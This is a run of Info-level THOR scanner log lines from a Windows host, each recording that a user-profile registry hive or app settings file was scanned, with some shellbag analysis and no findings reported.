Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.Core_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.LKG_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG2
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG2
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:24:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:24:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:24:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:24:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Default\NTUSER.DAT
Sep 10 12:24:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Default\NTUSER.DAT.LOG2
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\NTUSER.DAT
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\ntuser.dat.LOG1
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\ntuser.dat.LOG2
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
Sep 10 12:24:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\cloudbase-init\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
Sep 10 12:24:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\NTUSER.DAT
Sep 10 12:24:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\NTUSER.DAT
Sep 10 12:24:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\ntuser.dat.LOG1
Sep 10 12:24:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\ntuser.dat.LOG2
Sep 10 12:25:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:25:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:25:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
Sep 10 12:25:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\Settings\settings.dat.LOG1
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\Settings\settings.dat
